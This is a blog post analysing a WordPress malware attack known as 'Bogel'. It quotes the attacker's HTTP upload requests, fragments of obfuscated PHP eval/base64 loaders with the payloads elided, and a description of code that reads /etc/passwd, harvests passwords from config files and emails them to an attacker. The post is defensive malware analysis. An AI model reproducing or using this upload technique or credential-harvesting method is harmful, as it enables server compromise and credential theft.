Bogel malware trying to create and run wp-xmlrpc.php
Yesterday, I saw a novel attack from 173.205.124.194 at domain inmotionhosting.com in the US. The malware made the following HTTP requests:
POST /2015/05/26//wp-indeks.php HTTP/1.1 POST //wp-indeks.php HTTP/1.1 POST /2015/05/26//wp-content.php?x0x HTTP/1.1 POST //wp-content.php?x0x HTTP/1.1
Each request had the same 255,782 byte payload that looks like (from the last attack listed above):
POST /2015/05/26//wp-content.php?x0x HTTP/1.1 Host: www.skepticism.us Accept: */* Content-Length: 255782 Expect: 100-continue Content-Type: multipart/form-data; boundary=----------------------------3cc4c6faadfb ------------------------------3cc4c6faadfb Content-Disposition: form-data; name="userfile"; filename="wp-xmlrpc.php" Content-Type: application/octet-stream <?php /* Ready : all spamtools :) Ym : envir0nn */ $bogel = 'AAmA9n9cncdh7GC2Xud+ih4YuN3ggDnBMGOLOY…' ------------------------------3cc4c6faadfb Content-Disposition: form-data; name="submit" Upload ------------------------------3cc4c6faadfb--
Note that I have elided the 255 KB string assigned to $bogel.
The first observation is that this malware seems to be trying to exploit already installed malware in order to install itself. Once the new malware is uploaded I suspect the attacker would try to “GET /wp-xmlrpc.php” in order to execute its code.
The string assigned to $bogel is clearly an obfuscated PHP script. It is followed by statements to decode the obfuscated script and store the result in variable $iHiio and then execute it via return EvAl($iHiio).
Executing everything other than the final EvAl($iHiio); statement shows that $iHiio contains:
EvAl(StR_rOt13(gZInFlAtE(sTr_rOt13(GzinFLAte(Base64_DECOde($iiHiA))))));
The string to be eval’d is
error_reporting(0);
@set_time_limit(0);
$bogel = $_GET['cpanel'];
if (isset($bogel)) {
eval(gzinflate(base64_decode('vVhtb9s2EP7cAPkPrGqM8ur…)));
die;
}
eval(gzinflate(str_rot13(base64_decode('7P1sf+M4jjgO//3…))));
So this attack does one thing against WordPress installations that use cPanel (most likely on servers managed by companies that provide web or virtual server hosting) and something else against non-cPanel installations. The code executed by the cpanel branch is 5,288 bytes in length. The non-cpanel branch is 601,097 bytes long.
The attack against cPanel enabled sites starts by emitting some HTML, checking if PHP is running in safe mode and disable execution time limits:
echo '<html><head><title>[†] bogel - exploit [†]</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);
It then goes on to extract user names from /etc/passwd. For each user account it looks for passwords in various configuration files such as wp-config.php and manager.php in the directory /home/$user/public_html/. For each password it finds it attempts to login via the FTP protocol to localhost. If the login is successful it sends an email to mxbogel@gmail.com with the username and password.
I’m not going to dissect the entire 600 KB non-cpanel attack but will note a couple of interesting things. The code begins with a signature string containing “recky aka bogel” and the URI http://tools.bogel.co/. It installs some backdoors and creates a web page that displays information about the infected host and provides web forms to make it easy to upload arbitrary files and such. The web page it presents ends with “hidden” text. I say “hidden” because it hides the text by setting the text color to white which effectively makes it invisible unless you look at the HTML source for the page. That text is:
[†] ./bogel | Jayalah Indonesia Ku | <a href="http://zone-h.org/archive/notifier=bogel" target="_blank">envir0nn@yahoo.com</a> [†]
P.S., Something I didn’t realize (since I know practically nothing about PHP) until analyzing this attack is that PHP is case-insensitive with respect to function names. Which deserves a WTF was the author of this language thinking? I appreciate that they were striving to create a language that would allow non-professional programmers to write PHP programs. Nonetheless that sort of freedom to write RaNdOmShIt() and have it executed is counterproductive. I’m more convinced than ever that PHP needs to die.